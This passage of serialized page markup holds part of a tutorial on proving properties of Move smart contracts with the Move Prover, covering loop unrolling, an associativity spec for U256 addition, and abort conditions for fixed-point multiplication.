8,"children":13859},{"style":274},[13860],{"type":29,"value":703},{"type":23,"tag":230,"props":13862,"children":13863},{"style":268},[13864],{"type":29,"value":10911},{"type":23,"tag":230,"props":13866,"children":13867},{"style":262},[13868],{"type":29,"value":5736},{"type":23,"tag":230,"props":13870,"children":13871},{"style":274},[13872],{"type":29,"value":511},{"type":23,"tag":230,"props":13874,"children":13875},{"class":232,"line":280},[13876,13880,13884,13888,13892],{"type":23,"tag":230,"props":13877,"children":13878},{"style":262},[13879],{"type":29,"value":13434},{"type":23,"tag":230,"props":13881,"children":13882},{"style":262},[13883],{"type":29,"value":5736},{"type":23,"tag":230,"props":13885,"children":13886},{"style":268},[13887],{"type":29,"value":10532},{"type":23,"tag":230,"props":13889,"children":13890},{"style":262},[13891],{"type":29,"value":10822},{"type":23,"tag":230,"props":13893,"children":13894},{"style":274},[13895],{"type":29,"value":511},{"type":23,"tag":230,"props":13897,"children":13898},{"class":232,"line":334},[13899,13903,13907,13911,13915,13919,13923,13927,13931,13935,13939,13943,13947,13951,13955,13959,13963,13967,13971,13975],{"type":23,"tag":230,"props":13900,"children":13901},{"style":262},[13902],{"type":29,"value":13434},{"type":23,"tag":230,"props":13904,"children":13905},{"style":262},[13906],{"type":29,"value":10954},{"type":23,"tag":230,"props":13908,"children":13909},{"style":262},[13910],{"type":29,"value":10959},{"type":23,"tag":230,"props":13912,"children":13913},{"style":256},[13914],{"type":29,"value":5381},{"type":23,"tag":230,"props":13916,"children":13917},{"style":5149},[13918],{"type":29,"value":5386},{"type":23,"tag":230,"props":13920,"children":13921},{"style":268},[13922],{"type":29,"value":5391},{"type":23,"tag":230,"props":13924,"children":13925},{"style":262},[13926],{"type":29,"value":6074},{"type":23,"tag":230,"props":13928,"children":13929},{"style":268},[13930],{"type":29,"value":218},{"type":23,"tag":230,"props":13932,"children":13933},{"style":262},[13934],{"type":29,"value":10757},{"type":23,"tag":230,"props":13936,"children":13937},{"style":274},[13938],{"type":29,"value":6069},{"type":23,"tag":230,"props":13940,"children":13941},{"style":262},[13942],{"type":29,"value":10992},{"type":23,"tag":230,"props":13944,"children":13945},{"style":274},[13946],{"type":29,"value":10997},{"type":23,"tag":230,"props":13948,"children":13949},{"style":268},[13950],{"type":29,"value":10911},{"type":23,"tag":230,"props":13952,"children":13953},{"style":262},[13954],{"type":29,"value":11006},{"type":23,"tag":230,"props":13956,"children":13957},{"style":274},[13958],{"type":29,"value":6069},{"type":23,"tag":230,"props":13960,"children":13961},{"style":262},[13962],{"type":29,"value":10992},{"type":23,"tag":230,"props":13964,"children":13965},{"style":274},[13966],{"type":29,"value":10997},{"type":23,"tag":230,"props":13968,"children":13969},{"style":268},[13970],{"type":29,"value":6909},{"type":23,"tag":230,"props":13972,"children":13973},{"style":262},[13974],{"type":29,"value":10822},{"type":23,"tag":230,"props":13976,"children":13977},{"style":274},[13978],{"type":29,"value":511},{"type":23,"tag":230,"props":13980,"children":13981},{"class":232,"line":371},[13982],{"type":23,"tag":230,"props":13983,"children":13984},{"style":274},[13985],{"type":29,"value":11254},{"type":23,"tag":230,"props":13987,"children":13988},{"class":232,"line":391},[13989,13993,13997,14001,14005],{"type":23,"tag":230,"props":13990,"children":13991},{"style":274},[13992],{"type":29,"value":13583},{"type":23,"tag":230,"props":13994,"children":13995},{"style":262},[13996],{"type":29,"value":6074},{"type":23,"tag":230,"props":13998,"children":13999},{"style":268},[14000],{"type":29,"value":11055},{"type":23,"tag":230,"props":14002,"children":14003},{"style":262},[14004],{"type":29,"value":10822},{"type":23,"tag":230,"props":14006,"children":14007},{"style":274},[14008],{"type":29,"value":4516},{"type":23,"tag":230,"props":14010,"children":14011},{"class":232,"line":400},[14012],{"type":23,"tag":230,"props":14013,"children":14014},{"style":274},[14015],{"type":29,"value":13607},{"type":23,"tag":32,"props":14017,"children":14018},{},[14019],{"type":29,"value":14020},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":32,"props":14022,"children":14023},{},[14024,14026,14031],{"type":29,"value":14025},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":71,"props":14027,"children":14029},{"className":14028},[],[14030],{"type":29,"value":11969},{"type":29,"value":14032}," function will always iterate exactly 4 times:",{"type":23,"tag":220,"props":14034,"children":14036},{"code":14035,"language":5319,"meta":7,"className":5320,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[14037],{"type":23,"tag":71,"props":14038,"children":14039},{"__ignoreMap":7},[14040,14048,14081,14088,14104,14111,14135,14159,14204,14248,14255],{"type":23,"tag":230,"props":14041,"children":14042},{"class":232,"line":233},[14043],{"type":23,"tag":230,"props":14044,"children":14045},{"style":237},[14046],{"type":29,"value":14047},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":230,"props":14049,"children":14050},{"class":232,"line":243},[14051,14055,14060,14064,14068,14072,14077],{"type":23,"tag":230,"props":14052,"children":14053},{"style":256},[14054],{"type":29,"value":259},{"type":23,"tag":230,"props":14056,"children":14057},{"style":274},[14058],{"type":29,"value":14059}," WORDS",{"type":23,"tag":230,"props":14061,"children":14062},{"style":268},[14063],{"type":29,"value":218},{"type":23,"tag":230,"props":14065,"children":14066},{"style":676},[14067],{"type":29,"value":8197},{"type":23,"tag":230,"props":14069,"children":14070},{"style":268},[14071],{"type":29,"value":271},{"type":23,"tag":230,"props":14073,"children":14074},{"style":5149},[14075],{"type":29,"value":14076}," 4",{"type":23,"tag":230,"props":14078,"children":14079},{"style":274},[14080],{"type":29,"value":511},{"type":23,"tag":230,"props":14082,"children":14083},{"class":232,"line":252},[14084],{"type":23,"tag":230,"props":14085,"children":14086},{"emptyLinePlaceholder":18},[14087],{"type":29,"value":459},{"type":23,"tag":230,"props":14089,"children":14090},{"class":232,"line":280},[14091,14095,14099],{"type":23,"tag":230,"props":14092,"children":14093},{"style":274},[14094],{"type":29,"value":6069},{"type":23,"tag":230,"props":14096,"children":14097},{"style":268},[14098],{"type":29,"value":11922},{"type":23,"tag":230,"props":14100,"children":14101},{"style":274},[14102],{"type":29,"value":14103},"]\n",{"type":23,"tag":230,"props":14105,"children":14106},{"class":232,"line":334},[14107],{"type":23,"tag":230,"props":14108,"children":14109},{"emptyLinePlaceholder":18},[14110],{"type":29,"value":459},{"type":23,"tag":230,"props":14112,"children":14113},{"class":232,"line":371},[14114,14119,14123,14127,14131],{"type":23,"tag":230,"props":14115,"children":14116},{"style":256},[14117],{"type":29,"value":14118},"let",{"type":23,"tag":230,"props":14120,"children":14121},{"style":262},[14122],{"type":29,"value":5736},{"type":23,"tag":230,"props":14124,"children":14125},{"style":268},[14126],{"type":29,"value":271},{"type":23,"tag":230,"props":14128,"children":14129},{"style":5149},[14130],{"type":29,"value":5386},{"type":23,"tag":230,"props":14132,"children":14133},{"style":274},[14134],{"type":29,"value":511},{"type":23,"tag":230,"props":14136,"children":14137},{"class":232,"line":391},[14138,14142,14146,14150,14154],{"type":23,"tag":230,"props":14139,"children":14140},{"style":866},[14141],{"type":29,"value":13792},{"type":23,"tag":230,"props":14143,"children":14144},{"style":274},[14145],{"type":29,"value":664},{"type":23,"tag":230,"props":14147,"children":14148},{"style":262},[14149],{"type":29,"value":6074},{"type":23,"tag":230,"props":14151,"children":14152},{"style":268},[14153],{"type":29,"value":11055},{"type":23,"tag":230,"props":14155,"children":14156},{"style":274},[14157],{"type":29,"value":14158}," WORDS) {\n",{"type":23,"tag":230,"props":14160,"children":14161},{"class":232,"line":400},[14162,14166,14171,14175,14180,14184,14188,14192,14196,14200],{"type":23,"tag":230,"props":14163,"children":14164},{"style":256},[14165],{"type":29,"value":5340},{"type":23,"tag":230,"props":14167,"children":14168},{"style":262},[14169],{"type":29,"value":14170}," a1",{"type":23,"tag":230,"props":14172,"children":14173},{"style":268},[14174],{"type":29,"value":271},{"type":23,"tag":230,"props":14176,"children":14177},{"style":294},[14178],{"type":29,"value":14179}," get",{"type":23,"tag":230,"props":14181,"children":14182},{"style":274},[14183],{"type":29,"value":302},{"type":23,"tag":230,"props":14185,"children":14186},{"style":268},[14187],{"type":29,"value":5448},{"type":23,"tag":230,"props":14189,"children":14190},{"style":262},[14191],{"type":29,"value":181},{"type":23,"tag":230,"props":14193,"children":14194},{"style":274},[14195],{"type":29,"value":684},{"type":23,"tag":230,"props":14197,"children":14198},{"style":262},[14199],{"type":29,"value":6074},{"type":23,"tag":230,"props":14201,"children":14202},{"style":274},[14203],{"type":29,"value":753},{"type":23,"tag":230,"props":14205,"children":14206},{"class":232,"line":444},[14207,14211,14216,14220,14224,14228,14232,14236,14240,14244],{"type":23,"tag":230,"props":14208,"children":14209},{"style":256},[14210],{"type":29,"value":5340},{"type":23,"tag":230,"props":14212,"children":14213},{"style":262},[14214],{"type":29,"value":14215}," b1",{"type":23,"tag":230,"props":14217,"children":14218},{"style":268},[14219],{"type":29,"value":271},{"type":23,"tag":230,"props":14221,"children":14222},{"style":294},[14223],{"type":29,"value":14179},{"type":23,"tag":230,"props":14225,"children":14226},{"style":274},[14227],{"type":29,"value":302},{"type":23,"tag":230,"props":14229,"children":14230},{"style":268},[14231],{"type":29,"value":5448},{"type":23,"tag":230,"props":14233,"children":14234},{"style":262},[14235],{"type":29,"value":5561},{"type":23,"tag":230,"props":14237,"children":14238},{"style":274},[14239],{"type":29,"value":684},{"type":23,"tag":230,"props":14241,"children":14242},{"style":262},[14243],{"type":29,"value":6074},{"type":23,"tag":230,"props":14245,"children":14246},{"style":274},[14247],{"type":29,"value":753},{"type":23,"tag":230,"props":14249,"children":14250},{"class":232,"line":453},[14251],{"type":23,"tag":230,"props":14252,"children":14253},{"emptyLinePlaceholder":18},[14254],{"type":29,"value":459},{"type":23,"tag":230,"props":14256,"children":14257},{"class":232,"line":462},[14258,14262,14266],{"type":23,"tag":230,"props":14259,"children":14260},{"style":274},[14261],{"type":29,"value":6069},{"type":23,"tag":230,"props":14263,"children":14264},{"style":268},[14265],{"type":29,"value":11922},{"type":23,"tag":230,"props":14267,"children":14268},{"style":274},[14269],{"type":29,"value":14103},{"type":23,"tag":32,"props":14271,"children":14272},{},[14273],{"type":29,"value":14274},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":220,"props":14276,"children":14278},{"code":14277},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[14279],{"type":23,"tag":71,"props":14280,"children":14281},{"__ignoreMap":7},[14282],{"type":29,"value":14277},{"type":23,"tag":32,"props":14284,"children":14285},{},[14286,14288,14293,14294,14300],{"type":29,"value":14287},"For the ",{"type":23,"tag":2302,"props":14289,"children":14290},{},[14291],{"type":29,"value":14292},"Associative Property",{"type":29,"value":664},{"type":23,"tag":71,"props":14295,"children":14297},{"className":14296},[],[14298],{"type":29,"value":14299},"a+(b+c) = (a+b)+c",{"type":29,"value":14301},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":220,"props":14303,"children":14305},{"code":14304,"language":5319,"meta":7,"className":5320,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[14306],{"type":23,"tag":71,"props":14307,"children":14308},{"__ignoreMap":7},[14309,14386,14425,14466,14505,14546,14553,14603,14642],{"type":23,"tag":230,"props":14310,"children":14311},{"class":232,"line":233},[14312,14316,14321,14325,14329,14333,14337,14341,14345,14349,14353,14357,14361,14365,14369,14373,14377,14382],{"type":23,"tag":230,"props":14313,"children":14314},{"style":262},[14315],{"type":29,"value":9443},{"type":23,"tag":230,"props":14317,"children":14318},{"style":294},[14319],{"type":29,"value":14320}," add_assoc_property",{"type":23,"tag":230,"props":14322,"children":14323},{"style":274},[14324],{"type":29,"value":302},{"type":23,"tag":230,"props":14326,"children":14327},{"style":262},[14328],{"type":29,"value":181},{"type":23,"tag":230,"props":14330,"children":14331},{"style":268},[14332],{"type":29,"value":218},{"type":23,"tag":230,"props":14334,"children":14335},{"style":676},[14336],{"type":29,"value":7069},{"type":23,"tag":230,"props":14338,"children":14339},{"style":274},[14340],{"type":29,"value":684},{"type":23,"tag":230,"props":14342,"children":14343},{"style":262},[14344],{"type":29,"value":5561},{"type":23,"tag":230,"props":14346,"children":14347},{"style":268},[14348],{"type":29,"value":218},{"type":23,"tag":230,"props":14350,"children":14351},{"style":676},[14352],{"type":29,"value":7069},{"type":23,"tag":230,"props":14354,"children":14355},{"style":274},[14356],{"type":29,"value":684},{"type":23,"tag":230,"props":14358,"children":14359},{"style":262},[14360],{"type":29,"value":2148},{"type":23,"tag":230,"props":14362,"children":14363},{"style":268},[14364],{"type":29,"value":218},{"type":23,"tag":230,"props":14366,"children":14367},{"style":676},[14368],{"type":29,"value":7069},{"type":23,"tag":230,"props":14370,"children":14371},{"style":274},[14372],{"type":29,"value":5467},{"type":23,"tag":230,"props":14374,"children":14375},{"style":268},[14376],{"type":29,"value":218},{"type":23,"tag":230,"props":14378,"children":14379},{"style":676},[14380],{"type":29,"value":14381}," bool",{"type":23,"tag":230,"props":14383,"children":14384},{"style":274},[14385],{"type":29,"value":277},{"type":23,"tag":230,"props":14387,"children":14388},{"class":232,"line":243},[14389,14393,14397,14401,14405,14409,14413,14417,14421],{"type":23,"tag":230,"props":14390,"children":14391},{"style":256},[14392],{"type":29,"value":5340},{"type":23,"tag":230,"props":14394,"children":14395},{"style":262},[14396],{"type":29,"value":10527},{"type":23,"tag":230,"props":14398,"children":14399},{"style":268},[14400],{"type":29,"value":271},{"type":23,"tag":230,"props":14402,"children":14403},{"style":294},[14404],{"type":29,"value":11913},{"type":23,"tag":230,"props":14406,"children":14407},{"style":274},[14408],{"type":29,"value":302},{"type":23,"tag":230,"props":14410,"children":14411},{"style":262},[14412],{"type":29,"value":5561},{"type":23,"tag":230,"props":14414,"children":14415},{"style":274},[14416],{"type":29,"value":684},{"type":23,"tag":230,"props":14418,"children":14419},{"style":262},[14420],{"type":29,"value":2148},{"type":23,"tag":230,"props":14422,"children":14423},{"style":274},[14424],{"type":29,"value":753},{"type":23,"tag":230,"props":14426,"children":14427},{"class":232,"line":252},[14428,14432,14437,14441,14445,14449,14453,14457,14462],{"type":23,"tag":230,"props":14429,"children":14430},{"style":256},[14431],{"type":29,"value":5340},{"type":23,"tag":230,"props":14433,"children":14434},{"style":262},[14435],{"type":29,"value":14436}," result_11",{"type":23,"tag":230,"props":14438,"children":14439},{"style":268},[14440],{"type":29,"value":271},{"type":23,"tag":230,"props":14442,"children":14443},{"style":294},[14444],{"type":29,"value":11913},{"type":23,"tag":230,"props":14446,"children":14447},{"style":274},[14448],{"type":29,"value":302},{"type":23,"tag":230,"props":14450,"children":14451},{"style":262},[14452],{"type":29,"value":181},{"type":23,"tag":230,"props":14454,"children":14455},{"style":274},[14456],{"type":29,"value":684},{"type":23,"tag":230,"props":14458,"children":14459},{"style":262},[14460],{"type":29,"value":14461},"result_1",{"type":23,"tag":230,"props":14463,"children":14464},{"style":274},[14465],{"type":29,"value":753},{"type":23,"tag":230,"props":14467,"children":14468},{"class":232,"line":280},[14469,14473,14477,14481,14485,14489,14493,14497,14501],{"type":23,"tag":230,"props":14470,"children":14471},{"style":256},[14472],{"type":29,"value":5340},{"type":23,"tag":230,"props":14474,"children":14475},{"style":262},[14476],{"type":29,"value":10553},{"type":23,"tag":230,"props":14478,"children":14479},{"style":268},[14480],{"type":29,"value":271},{"type":23,"tag":230,"props":14482,"children":14483},{"style":294},[14484],{"type":29,"value":11913},{"type":23,"tag":230,"props":14486,"children":14487},{"style":274},[14488],{"type":29,"value":302},{"type":23,"tag":230,"props":14490,"children":14491},{"style":262},[14492],{"type":29,"value":181},{"type":23,"tag":230,"props":14494,"children":14495},{"style":274},[14496],{"type":29,"value":684},{"type":23,"tag":230,"props":14498,"children":14499},{"style":262},[14500],{"type":29,"value":5561},{"type":23,"tag":230,"props":14502,"children":14503},{"style":274},[14504],{"type":29,"value":753},{"type":23,"tag":230,"props":14506,"children":14507},{"class":232,"line":334},[14508,14512,14517,14521,14525,14529,14533,14537,14542],{"type":23,"tag":230,"props":14509,"children":14510},{"style":256},[14511],{"type":29,"value":5340},{"type":23,"tag":230,"props":14513,"children":14514},{"style":262},[14515],{"type":29,"value":14516}," result_22",{"type":23,"tag":230,"props":14518,"children":14519},{"style":268},[14520],{"type":29,"value":271},{"type":23,"tag":230,"props":14522,"children":14523},{"style":294},[14524],{"type":29,"value":11913},{"type":23,"tag":230,"props":14526,"children":14527},{"style":274},[14528],{"type":29,"value":302},{"type":23,"tag":230,"props":14530,"children":14531},{"style":262},[14532],{"type":29,"value":2148},{"type":23,"tag":230,"props":14534,"children":14535},{"style":274},[14536],{"type":29,"value":684},{"type":23,"tag":230,"props":14538,"children":14539},{"style":262},[14540],{"type":29,"value":14541},"result_2",{"type":23,"tag":230,"props":14543,"children":14544},{"style":274},[14545],{"type":29,"value":753},{"type":23,"tag":230,"props":14547,"children":14548},{"class":232,"line":371},[14549],{"type":23,"tag":230,"props":14550,"children":14551},{"emptyLinePlaceholder":18},[14552],{"type":29,"value":459},{"type":23,"tag":230,"props":14554,"children":14555},{"class":232,"line":391},[14556,14560,14564,14568,14573,14577,14581,14586,14590,14594,14599],{"type":23,"tag":230,"props":14557,"children":14558},{"style":256},[14559],{"type":29,"value":5340},{"type":23,"tag":230,"props":14561,"children":14562},{"style":262},[14563],{"type":29,"value":10195},{"type":23,"tag":230,"props":14565,"children":14566},{"style":268},[14567],{"type":29,"value":271},{"type":23,"tag":230,"props":14569,"children":14570},{"style":294},[14571],{"type":29,"value":14572}," compare",{"type":23,"tag":230,"props":14574,"children":14575},{"style":274},[14576],{"type":29,"value":302},{"type":23,"tag":230,"props":14578,"children":14579},{"style":268},[14580],{"type":29,"value":5448},{"type":23,"tag":230,"props":14582,"children":14583},{"style":262},[14584],{"type":29,"value":14585},"result_11",{"type":23,"tag":230,"props":14587,"children":14588},{"style":274},[14589],{"type":29,"value":684},{"type":23,"tag":230,"props":14591,"children":14592},{"style":268},[14593],{"type":29,"value":5448},{"type":23,"tag":230,"props":14595,"children":14596},{"style":262},[14597],{"type":29,"value":14598},"result_22",{"type":23,"tag":230,"props":14600,"children":14601},{"style":274},[14602],{"type":29,"value":753},{"type":23,"tag":230,"props":14604,"children":14605},{"class":232,"line":400},[14606,14610,14615,14619,14623,14628,14632,14637],{"type":23,"tag":230,"props":14607,"children":14608},{"style":866},[14609],{"type":29,"value":1493},{"type":23,"tag":230,"props":14611,"children":14612},{"style":274},[14613],{"type":29,"value":14614}," ( ",{"type":23,"tag":230,"props":14616,"children":14617},{"style":262},[14618],{"type":29,"value":10260},{"type":23,"tag":230,"props":14620,"children":14621},{"style":268},[14622],{"type":29,"value":5621},{"type":23,"tag":230,"props":14624,"children":14625},{"style":274},[14626],{"type":29,"value":14627}," EQUAL ) ",{"type":23,"tag":230,"props":14629,"children":14630},{"style":256},[14631],{"type":29,"value":1726},{"type":23,"tag":230,"props":14633,"children":14634},{"style":866},[14635],{"type":29,"value":14636}," else",{"type":23,"tag":230,"props":14638,"children":14639},{"style":256},[14640],{"type":29,"value":14641}," false\n",{"type":23,"tag":230,"props":14643,"children":14644},{"class":232,"line":444},[14645],{"type":23,"tag":230,"props":14646,"children":14647},{"style":274},[14648],{"type":29,"value":975},{"type":23,"tag":32,"props":14650,"children":14651},{},[14652],{"type":29,"value":14653},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":220,"props":14655,"children":14657},{"code":14656,"language":5319,"meta":7,"className":5320,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[14658],{"type":23,"tag":71,"props":14659,"children":14660},{"__ignoreMap":7},[14661,14676,14780,14804],{"type":23,"tag":230,"props":14662,"children":14663},{"class":232,"line":233},[14664,14668,14672],{"type":23,"tag":230,"props":14665,"children":14666},{"style":262},[14667],{"type":29,"value":10610},{"type":23,"tag":230,"props":14669,"children":14670},{"style":262},[14671],{"type":29,"value":14320},{"type":23,"tag":230,"props":14673,"children":14674},{"style":274},[14675],{"type":29,"value":277},{"type":23,"tag":230,"props":14677,"children":14678},{"class":232,"line":243},[14679,14683,14687,14692,14696,14700,14704,14708,14712,14716,14720,14724,14728,14732,14736,14740,14744,14748,14752,14756,14760,14764,14768,14772,14776],{"type":23,"tag":230,"props":14680,"children":14681},{"style":262},[14682],{"type":29,"value":12233},{"type":23,"tag":230,"props":14684,"children":14685},{"style":274},[14686],{"type":29,"value":664},{"type":23,"tag":230,"props":14688,"children":14689},{"style":294},[14690],{"type":29,"value":14691},"value_of_U256",{"type":23,"tag":230,"props":14693,"children":14694},{"style":274},[14695],{"type":29,"value":302},{"type":23,"tag":230,"props":14697,"children":14698},{"style":262},[14699],{"type":29,"value":181},{"type":23,"tag":230,"props":14701,"children":14702},{"style":274},[14703],{"type":29,"value":703},{"type":23,"tag":230,"props":14705,"children":14706},{"style":268},[14707],{"type":29,"value":6719},{"type":23,"tag":230,"props":14709,"children":14710},{"style":294},[14711],{"type":29,"value":12034},{"type":23,"tag":230,"props":14713,"children":14714},{"style":274},[14715],{"type":29,"value":302},{"type":23,"tag":230,"props":14717,"children":14718},{"style":262},[14719],{"type":29,"value":5561},{"type":23,"tag":230,"props":14721,"children":14722},{"style":274},[14723],{"type":29,"value":11171},{"type":23,"tag":230,"props":14725,"children":14726},{"style":268},[14727],{"type":29,"value":6719},{"type":23,"tag":230,"props":14729,"children":14730},{"style":294},[14731],{"type":29,"value":12034},{"type":23,"tag":230,"props":14733,"children":14734},{"style":274},[14735],{"type":29,"value":302},{"type":23,"tag":230,"props":14737,"children":14738},{"style":262},[14739],{"type":29,"value":2148},{"type":23,"tag":230,"props":14741,"children":14742},{"style":274},[14743],{"type":29,"value":703},{"type":23,"tag":230,"props":14745,"children":14746},{"style":268},[14747],{"type":29,"value":12274},{"type":23,"tag":230,"props":14749,"children":14750},{"style":676},[14751],{"type":29,"value":11990},{"type":23,"tag":230,"props":14753,"children":14754},{"style":268},[14755],{"type":29,"value":12147},{"type":23,"tag":230,"props":14757,"children":14758},{"style":676},[14759],{"type":29,"value":11990},{"type":23,"tag":230,"props":14761,"children":14762},{"style":268},[14763],{"type":29,"value":12147},{"type":23,"tag":230,"props":14765,"children":14766},{"style":676},[14767],{"type":29,"value":11990},{"type":23,"tag":230,"props":14769,"children":14770},{"style":268},[14771],{"type":29,"value":12147},{"type":23,"tag":230,"props":14773,"children":14774},{"style":676},[14775],{"type":29,"value":11990},{"type":23,"tag":230,"props":14777,"children":14778},{"style":274},[14779],{"type":29,"value":511},{"type":23,"tag":230,"props":14781,"children":14782},{"class":232,"line":252},[14783,14787,14791,14795,14800],{"type":23,"tag":230,"props":14784,"children":14785},{"style":262},[14786],{"type":29,"value":12531},{"type":23,"tag":230,"props":14788,"children":14789},{"style":262},[14790],{"type":29,"value":11492},{"type":23,"tag":230,"props":14792,"children":14793},{"style":268},[14794],{"type":29,"value":5621},{"type":23,"tag":230,"props":14796,"children":14797},{"style":256},[14798],{"type":29,"value":14799}," true",{"type":23,"tag":230,"props":14801,"children":14802},{"style":274},[14803],{"type":29,"value":511},{"type":23,"tag":230,"props":14805,"children":14806},{"class":232,"line":280},[14807],{"type":23,"tag":230,"props":14808,"children":14809},{"style":274},[14810],{"type":29,"value":975},{"type":23,"tag":32,"props":14812,"children":14813},{},[14814],{"type":29,"value":14815},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":220,"props":14817,"children":14818},{"code":14277},[14819],{"type":23,"tag":71,"props":14820,"children":14821},{"__ignoreMap":7},[14822],{"type":29,"value":14277},{"type":23,"tag":32,"props":14824,"children":14825},{},[14826,14828,14835],{"type":29,"value":14827},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":181,"props":14829,"children":14832},{"href":14830,"rel":14831},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[185],[14833],{"type":29,"value":14834},"spec-lang.md",{"type":29,"value":14836}," in the Move Repository.",{"type":23,"tag":24,"props":14838,"children":14840},{"id":14839},"use-cases",[14841],{"type":29,"value":14842},"Use Cases",{"type":23,"tag":32,"props":14844,"children":14845},{},[14846],{"type":29,"value":14847},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":32,"props":14849,"children":14850},{},[14851],{"type":29,"value":14852},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":59,"props":14854,"children":14856},{"id":14855},"error-conditions",[14857],{"type":29,"value":14858},"Error Conditions",{"type":23,"tag":32,"props":14860,"children":14861},{},[14862,14864,14870],{"type":29,"value":14863},"Taking an example from ",{"type":23,"tag":71,"props":14865,"children":14867},{"className":14866},[],[14868],{"type":29,"value":14869},"std::fixed_point32",{"type":29,"value":14871},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":220,"props":14873,"children":14875},{"code":14874,"language":5319,"meta":7,"className":5320,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[14876],{"type":23,"tag":71,"props":14877,"children":14878},{"__ignoreMap":7},[14879,14900,14920,14941,14987,14994,15057,15096],{"type":23,"tag":230,"props":14880,"children":14881},{"class":232,"line":233},[14882,14886,14891,14896],{"type":23,"tag":230,"props":14883,"children":14884},{"style":262},[14885],{"type":29,"value":11262},{"type":23,"tag":230,"props":14887,"children":14888},{"style":262},[14889],{"type":29,"value":14890}," schema",{"type":23,"tag":230,"props":14892,"children":14893},{"style":676},[14894],{"type":29,"value":14895}," MultiplyAbortsIf",{"type":23,"tag":230,"props":14897,"children":14898},{"style":274},[14899],{"type":29,"value":277},{"type":23,"tag":230,"props":14901,"children":14902},{"class":232,"line":243},[14903,14908,14912,14916],{"type":23,"tag":230,"props":14904,"children":14905},{"style":262},[14906],{"type":29,"value":14907},"          val",{"type":23,"tag":230,"props":14909,"children":14910},{"style":268},[14911],{"type":29,"value":218},{"type":23,"tag":230,"props":14913,"children":14914},{"style":262},[14915],{"type":29,"value":12063},{"type":23,"tag":230,"props":14917,"children":14918},{"style":274},[14919],{"type":29,"value":511},{"type":23,"tag":230,"props":14921,"children":14922},{"class":232,"line":252},[14923,14928,14932,14937],{"type":23,"tag":230,"props":14924,"children":14925},{"style":262},[14926],{"type":29,"value":14927},"          multiplier",{"type":23,"tag":230,"props":14929,"children":14930},{"style":268},[14931],{"type":29,"value":218},{"type":23,"tag":230,"props":14933,"children":14934},{"style":676},[14935],{"type":29,"value":14936}," FixedPoint32",{"type":23,"tag":230,"props":14938,"children":14939},{"style":274},[14940],{"type":29,"value":511},{"type":23,"tag":230,"props":14942,"children":14943},{"class":232,"line":280},[14944,14949,14954,14958,14963,14967,14972,14977,14982],{"type":23,"tag":230,"props":14945,"children":14946},{"style":262},[14947],{"type":29,"value":14948},"          aborts_if",{"type":23,"tag":230,"props":14950,"children":14951},{"style":294},[14952],{"type":29,"value":14953}," spec_multiply_u64",{"type":23,"tag":230,"props":14955,"children":14956},{"style":274},[14957],{"type":29,"value":302},{"type":23,"tag":230,"props":14959,"children":14960},{"style":262},[14961],{"type":29,"value":14962},"val",{"type":23,"tag":230,"props":14964,"children":14965},{"style":274},[14966],{"type":29,"value":684},{"type":23,"tag":230,"props":14968,"children":14969},{"style":262},[14970],{"type":29,"value":14971},"multiplier",{"type":23,"tag":230,"props":14973,"children":14974},{"style":274},[14975],{"type":29,"value":14976},") > MAX_U64 ",{"type":23,"tag":230,"props":14978,"children":14979},{"style":262},[14980],{"type":29,"value":14981},"with",{"type":23,"tag":230,"props":14983,"children":14984},{"style":274},[14985],{"type":29,"value":14986}," EMULTIPLICATION;\n",{"type":23,"tag":230,"props":14988,"children":14989},{"class":232,"line":334},[14990],{"type":23,"tag":230,"props":14991,"children":14992},{"style":274},[14993],{"type":29,"value":1931},{"type":23,"tag":230,"props":14995,"children":14996},{"class":232,"line":371},[14997,15001,15005,15009,15013,15017,15021,15025,15029,15033,15037,15041,15045,15049,15053],{"type":23,"tag":230,"props":14998,"children":14999},{"style":262},[15000],{"type":29,"value":11262},{"type":23,"tag":230,"props":15002,"children":15003},{"style":262},[15004],{"type":29,"value":8544},{"type":23,"tag":230,"props":15006,"children":15007},{"style":294},[15008],{"type":29,"value":14953},{"type":23,"tag":230,"props":15010,"children":15011},{"style":274},[15012],{"type":29,"value":302},{"type":23,"tag":230,"props":15014,"children":15015},{"style":262},[15016],{"type":29,"value":14962},{"type":23,"tag":230,"props":15018,"children":15019},{"style":268},[15020],{"type":29,"value":218},{"type":23,"tag":230,"props":15022,"children":15023},{"style":262},[15024],{"type":29,"value":12063},{"type":23,"tag":230,"props":15026,"children":15027},{"style":274},[15028],{"type":29,"value":684},{"type":23,"tag":230,"props":15030,"children":15031},{"style":262},[15032],{"type":29,"value":14971},{"type":23,"tag":230,"props":15034,"children":15035},{"style":268},[15036],{"type":29,"value":218},{"type":23,"tag":230,"props":15038,"c